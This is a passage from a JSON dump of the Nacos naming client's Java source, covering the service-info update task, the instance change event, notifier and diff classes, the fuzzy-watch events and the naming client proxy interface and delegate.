{\n                return;\n            }\n            futureMap.remove(serviceKey);\n        }\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        NAMING_LOGGER.info(\"{} do shutdown begin\", className);\n        ThreadUtils.shutdownThreadPool(executor, NAMING_LOGGER);\n        NAMING_LOGGER.info(\"{} do shutdown stop\", className);\n    }\n    \n    public class UpdateTask implements Runnable {\n        \n        long lastRefTime = Long.MAX_VALUE;\n        \n        private boolean isCancel;\n        \n        private final String serviceName;\n        \n        private final String groupName;\n        \n        private final String clusters;\n        \n        private final String groupedServiceName;\n        \n        private final String serviceKey;\n        \n        /**\n         * the fail situation. 1:can't connect to server 2:serviceInfo's hosts is empty\n         */\n        private int failCount = 0;\n        \n        public UpdateTask(String serviceName, String groupName, String clusters) {\n            this.serviceName = serviceName;\n            this.groupName = groupName;\n            this.clusters = clusters;\n            this.groupedServiceName = NamingUtils.getGroupedName(serviceName, groupName);\n            this.serviceKey = ServiceInfo.getKey(groupedServiceName, clusters);\n        }\n        \n        @Override\n        public void run() {\n            long delayTime = DEFAULT_DELAY;\n            \n            try {\n                if (!changeNotifier.isSubscribed(groupName, serviceName) && !futureMap.containsKey(\n                        serviceKey)) {\n                    NAMING_LOGGER.info(\"update task is stopped, service:{}, clusters:{}\", groupedServiceName, clusters);\n                    isCancel = true;\n                    return;\n                }\n                \n                ServiceInfo serviceObj = serviceInfoHolder.getServiceInfoMap().get(serviceKey);\n                if (serviceObj == null) {\n                    serviceObj = namingClientProxy.queryInstancesOfService(serviceName, groupName, clusters, false);\n                    serviceInfoHolder.processServiceInfo(serviceObj);\n                    // TODO multiple time can be configured.\n                    delayTime = serviceObj.getCacheMillis() * DEFAULT_UPDATE_CACHE_TIME_MULTIPLE;\n                    lastRefTime = serviceObj.getLastRefTime();\n                    return;\n                }\n                \n                if (serviceObj.getLastRefTime() <= lastRefTime) {\n                    serviceObj = namingClientProxy.queryInstancesOfService(serviceName, groupName, clusters, false);\n                    serviceInfoHolder.processServiceInfo(serviceObj);\n                }\n                lastRefTime = serviceObj.getLastRefTime();\n                if (CollectionUtils.isEmpty(serviceObj.getHosts())) {\n                    incFailCount();\n                    return;\n                }\n                // TODO multiple time can be configured.\n                delayTime = serviceObj.getCacheMillis() * DEFAULT_UPDATE_CACHE_TIME_MULTIPLE;\n                resetFailCount();\n            } catch (NacosException e) {\n                handleNacosException(e);\n            } catch (Throwable e) {\n                handleUnknownException(e);\n            } finally {\n                if (!isCancel) {\n                    executor.schedule(this, Math.min(delayTime << failCount, DEFAULT_DELAY * 60),\n                            TimeUnit.MILLISECONDS);\n                }\n            }\n        }\n        \n        private void handleNacosException(NacosException e) {\n            incFailCount();\n            int errorCode = e.getErrCode();\n            if (NacosException.SERVER_ERROR == errorCode) {\n                handleUnknownException(e);\n            }\n            NAMING_LOGGER.warn(\"Can't update serviceName: {}, reason: {}\", groupedServiceName, e.getErrMsg());\n        }\n        \n        private void handleUnknownException(Throwable throwable) {\n            incFailCount();\n            NAMING_LOGGER.warn(\"[NA] failed to update serviceName: {}\", groupedServiceName, throwable);\n        }\n        \n        private void incFailCount() {\n            int limit = 6;\n            if (failCount == limit) {\n                return;\n            }\n            failCount++;\n        }\n        \n        private void resetFailCount() {\n            failCount = 0;\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/event/InstancesChangeEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.notify.Event;\n\nimport java.util.List;\n\n/**\n * Instances change event.\n *\n * @author horizonzy\n * @since 1.4.1\n */\npublic class InstancesChangeEvent extends Event {\n    \n    private static final long serialVersionUID = -8823087028212249603L;\n    \n    private final String eventScope;\n    \n    private final String serviceName;\n    \n    private final String groupName;\n    \n    private final String clusters;\n    \n    private final List<Instance> hosts;\n\n    private InstancesDiff instancesDiff;\n    \n    public InstancesChangeEvent(String eventScope, String serviceName, String groupName, String clusters, List<Instance> hosts, InstancesDiff diff) {\n        this.eventScope = eventScope;\n        this.serviceName = serviceName;\n        this.groupName = groupName;\n        this.clusters = clusters;\n        this.hosts = hosts;\n        this.instancesDiff = diff;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public String getClusters() {\n        return clusters;\n    }\n    \n    public List<Instance> getHosts() {\n        return hosts;\n    }\n\n    public InstancesDiff getInstancesDiff() {\n        return instancesDiff;\n    }\n\n    @Override\n    public String scope() {\n        return this.eventScope;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/event/InstancesChangeNotifier.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorWrapper;\nimport com.alibaba.nacos.client.selector.SelectorManager;\nimport com.alibaba.nacos.common.JustForTest;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.UUID;\n\n/**\n * A subscriber to notify eventListener callback.\n *\n * @author horizonzy\n * @since 1.4.1\n */\npublic class InstancesChangeNotifier extends Subscriber<InstancesChangeEvent> {\n    \n    private final String eventScope;\n    \n    private final SelectorManager<NamingSelectorWrapper> selectorManager = new SelectorManager<>();\n    \n    @JustForTest\n    public InstancesChangeNotifier() {\n        this.eventScope = UUID.randomUUID().toString();\n    }\n    \n    public InstancesChangeNotifier(String eventScope) {\n        this.eventScope = eventScope;\n    }\n    \n    /**\n     * register listener.\n     *\n     * @param groupName   group name\n     * @param serviceName serviceName\n     * @param wrapper     selectorWrapper\n     */\n    public void registerListener(String groupName, String serviceName, NamingSelectorWrapper wrapper) {\n        if (wrapper == null) {\n            return;\n        }\n        String subId = NamingUtils.getGroupedName(serviceName, groupName);\n        selectorManager.addSelectorWrapper(subId, wrapper);\n    }\n    \n    /**\n     * deregister listener.\n     *\n     * @param groupName   group name\n     * @param serviceName serviceName\n     * @param wrapper     selectorWrapper\n     */\n    public void deregisterListener(String groupName, String serviceName, NamingSelectorWrapper wrapper) {\n        if (wrapper == null) {\n            return;\n        }\n        String subId = NamingUtils.getGroupedName(serviceName, groupName);\n        selectorManager.removeSelectorWrapper(subId, wrapper);\n    }\n    \n    /**\n     * check serviceName,groupName is subscribed.\n     *\n     * @param groupName   group name\n     * @param serviceName serviceName\n     * @return is serviceName,clusters subscribed\n     */\n    public boolean isSubscribed(String groupName, String serviceName) {\n        String subId = NamingUtils.getGroupedName(serviceName, groupName);\n        return selectorManager.isSubscribed(subId);\n    }\n    \n    public List<ServiceInfo> getSubscribeServices() {\n        List<ServiceInfo> serviceInfos = new ArrayList<>();\n        for (String key : selectorManager.getSubscriptions()) {\n            serviceInfos.add(ServiceInfo.fromKey(key));\n        }\n        return serviceInfos;\n    }\n    \n    @Override\n    public void onEvent(InstancesChangeEvent event) {\n        String subId = NamingUtils.getGroupedName(event.getServiceName(), event.getGroupName());\n        Collection<NamingSelectorWrapper> selectorWrappers = selectorManager.getSelectorWrappers(subId);\n        for (NamingSelectorWrapper selectorWrapper : selectorWrappers) {\n            selectorWrapper.notifyListener(event);\n        }\n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return InstancesChangeEvent.class;\n    }\n    \n    @Override\n    public boolean scopeMatches(InstancesChangeEvent event) {\n        return this.eventScope.equals(event.scope());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/event/InstancesDiff.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\n\n/**\n * The differences in instances compared to the last callback.\n *\n * @author lideyou\n */\npublic class InstancesDiff {\n    \n    private final List<Instance> addedInstances = new ArrayList<>();\n    \n    private final List<Instance> removedInstances = new ArrayList<>();\n    \n    private final List<Instance> modifiedInstances = new ArrayList<>();\n    \n    public InstancesDiff() {\n    }\n    \n    public InstancesDiff(List<Instance> addedInstances, List<Instance> removedInstances,\n            List<Instance> modifiedInstances) {\n        setAddedInstances(addedInstances);\n        setRemovedInstances(removedInstances);\n        setModifiedInstances(modifiedInstances);\n    }\n    \n    public List<Instance> getAddedInstances() {\n        return addedInstances;\n    }\n    \n    public void setAddedInstances(Collection<Instance> addedInstances) {\n        this.addedInstances.clear();\n        if (CollectionUtils.isNotEmpty(addedInstances)) {\n            this.addedInstances.addAll(addedInstances);\n        }\n    }\n    \n    public List<Instance> getRemovedInstances() {\n        return removedInstances;\n    }\n    \n    public void setRemovedInstances(Collection<Instance> removedInstances) {\n        this.removedInstances.clear();\n        if (CollectionUtils.isNotEmpty(removedInstances)) {\n            this.removedInstances.addAll(removedInstances);\n        }\n    }\n    \n    public List<Instance> getModifiedInstances() {\n        return modifiedInstances;\n    }\n    \n    public void setModifiedInstances(Collection<Instance> modifiedInstances) {\n        this.modifiedInstances.clear();\n        if (CollectionUtils.isNotEmpty(modifiedInstances)) {\n            this.modifiedInstances.addAll(modifiedInstances);\n        }\n    }\n    \n    /**\n     * Check if any instances have changed.\n     *\n     * @return true if there are instances that have changed\n     */\n    public boolean hasDifferent() {\n        return isAdded() || isRemoved() || isModified();\n    }\n    \n    /**\n     * Check if any instances have been added.\n     *\n     * @return true if there are instances that have been added.\n     */\n    public boolean isAdded() {\n        return CollectionUtils.isNotEmpty(this.addedInstances);\n    }\n    \n    /**\n     * Check if any instances have been added.\n     *\n     * @return true if there are instances that have been added.\n     */\n    public boolean isRemoved() {\n        return CollectionUtils.isNotEmpty(this.removedInstances);\n    }\n    \n    /**\n     * Check if any instances have been added.\n     *\n     * @return true if there are instances that have been added.\n     */\n    public boolean isModified() {\n        return CollectionUtils.isNotEmpty(this.modifiedInstances);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/event/NamingFuzzyWatchLoadEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Event class for fuzzy listen notifications.\n *\n * <p>This class represents an event used for notifying fuzzy listen changes. It extends {@link Event}, indicating\n * that it may be processed asynchronously. The event contains information about the group, dataId, type, and UUID of\n * the notification.\n *\n * @author shiyiyue\n * @date 2025/01/13\n */\npublic class NamingFuzzyWatchLoadEvent extends Event {\n    \n    private String eventScope;\n    \n    /**\n     * The groupKeyPattern of configuration.\n     */\n    private String groupKeyPattern;\n    \n    private int code;\n    \n    /**\n     * Constructs a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param code            The type of notification.\n     * @param groupKeyPattern The groupKeyPattern of notification.\n     */\n    private NamingFuzzyWatchLoadEvent(int code, String groupKeyPattern, String eventScope) {\n        this.code = code;\n        this.groupKeyPattern = groupKeyPattern;\n        this.eventScope = eventScope;\n    }\n    \n    /**\n     * Builds a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param groupKeyPattern The groupKey of the configuration.\n     * @return A new FuzzyListenNotifyEvent instance.\n     */\n    public static NamingFuzzyWatchLoadEvent buildEvent(int code, String groupKeyPattern, String scope) {\n        return new NamingFuzzyWatchLoadEvent(code, groupKeyPattern, scope);\n    }\n    \n    @Override\n    public String scope() {\n        return eventScope;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public int getCode() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/event/NamingFuzzyWatchNotifyEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Watch notify event, including service change/watch initial.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchNotifyEvent extends Event {\n    \n    private final String scope;\n    \n    private String watcherUuid;\n    \n    private String serviceKey;\n    \n    private String pattern;\n    \n    private final String changedType;\n    \n    private final String syncType;\n    \n    private NamingFuzzyWatchNotifyEvent(String scope, String pattern, String serviceKey, String changedType,\n            String syncType, String watcherUuid) {\n        this.scope = scope;\n        this.pattern = pattern;\n        this.serviceKey = serviceKey;\n        this.changedType = changedType;\n        this.syncType = syncType;\n        this.watcherUuid = watcherUuid;\n    }\n    \n    public static NamingFuzzyWatchNotifyEvent build(String eventScope, String pattern, String serviceKey,\n            String changedType, String syncType) {\n        return new NamingFuzzyWatchNotifyEvent(eventScope, pattern, serviceKey, changedType, syncType, null);\n    }\n    \n    public static NamingFuzzyWatchNotifyEvent build(String eventScope, String pattern, String serviceKey,\n            String changedType, String syncType, String watcherUuid) {\n        return new NamingFuzzyWatchNotifyEvent(eventScope, pattern, serviceKey, changedType, syncType, watcherUuid);\n    }\n    \n    public String getPattern() {\n        return pattern;\n    }\n    \n    public String getChangedType() {\n        return changedType;\n    }\n    \n    @Override\n    public String scope() {\n        return this.scope;\n    }\n    \n    public String getWatcherUuid() {\n        return watcherUuid;\n    }\n    \n    public String getServiceKey() {\n        return serviceKey;\n    }\n    \n    public String getScope() {\n        return scope;\n    }\n    \n    public String getSyncType() {\n        return syncType;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/listener/AbstractNamingChangeListener.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.listener;\n\nimport com.alibaba.nacos.api.naming.listener.AbstractEventListener;\nimport com.alibaba.nacos.api.naming.listener.Event;\n\n/**\n * Listener for NamingChangeEvent.\n *\n * @author lideyou\n */\npublic abstract class AbstractNamingChangeListener extends AbstractEventListener {\n    \n    @Override\n    public final void onEvent(Event event) {\n        if (event instanceof NamingChangeEvent) {\n            onChange((NamingChangeEvent) event);\n        }\n    }\n    \n    /**\n     * Callback when instances have changed.\n     *\n     * @param event NamingChangeEvent\n     */\n    public abstract void onChange(NamingChangeEvent event);\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/listener/NamingChangeEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.listener;\n\nimport com.alibaba.nacos.api.naming.listener.NamingEvent;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\n\nimport java.util.List;\n\n/**\n * Naming Event with instance change information.\n *\n * @author lideyou\n */\npublic class NamingChangeEvent extends NamingEvent {\n    \n    private final InstancesDiff instancesDiff;\n    \n    public NamingChangeEvent(String serviceName, List<Instance> instances, InstancesDiff instancesDiff) {\n        super(serviceName, instances);\n        this.instancesDiff = instancesDiff;\n    }\n    \n    public NamingChangeEvent(String serviceName, String groupName, String clusters, List<Instance> instances,\n            InstancesDiff instancesDiff) {\n        super(serviceName, groupName, clusters, instances);\n        this.instancesDiff = instancesDiff;\n    }\n    \n    public boolean isAdded() {\n        return this.instancesDiff.isAdded();\n    }\n    \n    public boolean isRemoved() {\n        return this.instancesDiff.isRemoved();\n    }\n    \n    public boolean isModified() {\n        return this.instancesDiff.isModified();\n    }\n    \n    public List<Instance> getAddedInstances() {\n        return this.instancesDiff.getAddedInstances();\n    }\n    \n    public List<Instance> getRemovedInstances() {\n        return this.instancesDiff.getRemovedInstances();\n    }\n    \n    public List<Instance> getModifiedInstances() {\n        return this.instancesDiff.getModifiedInstances();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/AbstractNamingClientProxy.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote;\n\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Abstract Naming client proxy.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractNamingClientProxy extends Subscriber<ServerListChangeEvent>\n        implements NamingClientProxy {\n    \n    private static final String APP_FILED = \"app\";\n    \n    private final SecurityProxy securityProxy;\n    \n    protected AbstractNamingClientProxy(SecurityProxy securityProxy) {\n        this.securityProxy = securityProxy;\n    }\n    \n    protected Map<String, String> getSecurityHeaders(String namespace, String group, String serviceName) {\n        RequestResource resource = RequestResource.namingBuilder().setNamespace(namespace).setGroup(group)\n                .setResource(serviceName).build();\n        Map<String, String> result = this.securityProxy.getIdentityContext(resource);\n        result.putAll(getAppHeaders());\n        return result;\n    }\n    \n    protected Map<String, String> getAppHeaders() {\n        Map<String, String> result = new HashMap<>(1);\n        result.put(APP_FILED, AppNameUtils.getAppName());\n        return result;\n    }\n    \n    protected void reLogin() {\n        securityProxy.reLogin();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/NamingClientProxy.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\n\nimport java.util.List;\n\n/**\n * Naming Client Proxy.\n *\n * @author xiweng.yy\n */\npublic interface NamingClientProxy extends Closeable {\n    \n    /**\n     * Register an instance to service with specified instance properties.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instance    instance to register\n     * @throws NacosException nacos exception\n     */\n    void registerService(String serviceName, String groupName, Instance instance) throws NacosException;\n    \n    /**\n     * Batch register instance to service with specified instance properties.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instances   instance\n     * @throws NacosException nacos exception\n     * @since 2.1.1\n     */\n    void batchRegisterService(String serviceName, String groupName, List<Instance> instances) throws NacosException;\n    \n    /**\n     * Batch deRegister instance to service with specified instance properties.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instances   deRegister instance\n     * @throws NacosException nacos exception\n     * @since 2.2.0\n     */\n    void batchDeregisterService(String serviceName, String groupName, List<Instance> instances) throws NacosException;\n    \n    /**\n     * Deregister instance from a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group name\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    void deregisterService(String serviceName, String groupName, Instance instance) throws NacosException;\n    \n    /**\n     * Update instance to service.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException;\n    \n    /**\n     * Query instance list.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters\n     * @param healthyOnly healthy only\n     * @return service info\n     * @throws NacosException nacos exception\n     */\n    ServiceInfo queryInstancesOfService(String serviceName, String groupName, String clusters, boolean healthyOnly)\n            throws NacosException;\n    \n    /**\n     * Query Service.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @return service\n     * @throws NacosException nacos exception\n     */\n    Service queryService(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * Create service.\n     *\n     * @param service  service\n     * @param selector selector\n     * @throws NacosException nacos exception\n     */\n    void createService(Service service, AbstractSelector selector) throws NacosException;\n    \n    /**\n     * Delete service.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @return true if delete ok\n     * @throws NacosException nacos exception\n     */\n    boolean deleteService(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * Update service.\n     *\n     * @param service  service\n     * @param selector selector\n     * @throws NacosException nacos exception\n     */\n    void updateService(Service service, AbstractSelector selector) throws NacosException;\n    \n    /**\n     * Get service list.\n     *\n     * @param pageNo    page number\n     * @param pageSize  size per page\n     * @param groupName group name of service\n     * @param selector  selector\n     * @return list of service\n     * @throws NacosException nacos exception\n     */\n    ListView<String> getServiceList(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException;\n    \n    /**\n     * Subscribe service.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters, current only support subscribe all clusters, maybe deprecated\n     * @return current service info of subscribe service\n     * @throws NacosException nacos exception\n     */\n    ServiceInfo subscribe(String serviceName, String groupName, String clusters) throws NacosException;\n    \n    /**\n     * Unsubscribe service.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters, current only support subscribe all clusters, maybe deprecated\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, String groupName, String clusters) throws NacosException;\n    \n    /**\n     * Judge whether service has been subscribed.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters, current only support subscribe all clusters, maybe deprecated\n     * @return {@code true} if subscribed, otherwise {@code false}\n     * @throws NacosException nacos exception\n     */\n    boolean isSubscribed(String serviceName, String groupName, String clusters) throws NacosException;\n    \n    /**\n     * Check Server healthy.\n     *\n     * @return true if server is healthy\n     */\n    boolean serverHealthy();\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/NamingClientProxyDelegate.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.core.ServiceInfoUpdateService;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeNotifier;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientProxy;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\n\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.constant.Constants.Security.SECURITY_INFO_REFRESH_INTERVAL_MILLS;\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Delegate of naming client proxy.\n *\n * @author xiweng.yy\n */\npublic class NamingClientProxyDelegate implements NamingClientProxy {\n    \n    private final NamingServerListManager serverListManager;\n    \n    private final ServiceInfoUpdateService serviceInfoUpdateService;\n    \n    private final ServiceInfoHolder serviceInfoHolder;\n    \n    private final NamingHttpClientProxy httpClientProxy;\n    \n    private final NamingGrpcClientProxy grpcClientProxy;\n    \n    private final SecurityProxy securityProxy;\n    \n    private ScheduledExecutorService executorService;\n    \n    public NamingClientProxyDelegate(String namespace, ServiceInfoHolder serviceInfoHolder,\n            NacosClientProperties properties, InstancesChangeNotifier changeNotifier,\n            NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder) throws NacosException {\n        this.serviceInfoUpdateService = new ServiceInfoUpdateService(properties, serviceInfoHolder, this,\n                changeNotifier);\n        this.serverListManager = new NamingServerListManager(properties, namespace);\n        this.serverListManager.start();\n        this.serviceInfoHolder = serviceInfoHolder;\n        this.securityProxy = new SecurityProxy(this.serverListManager,\n                NamingHttpClientManager.getInstance().getNacosRestTemplate());\n        initSecurityProxy(properties);\n        this.httpClientProxy = new NamingHttpClientProxy(namespace, securityProxy, serverListManager, properties);\n        this.grpcClientProxy = new NamingGrpcClientProxy(namespace, securityProxy, serverListManager, properties,\n                serviceInfoHolder, namingFuzzyWatchServiceListHolder);\n    }\n    \n    private void initSecurityProxy(NacosClientProperties properties) {\n        this.executorService = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.naming.security\"));\n        final Properties 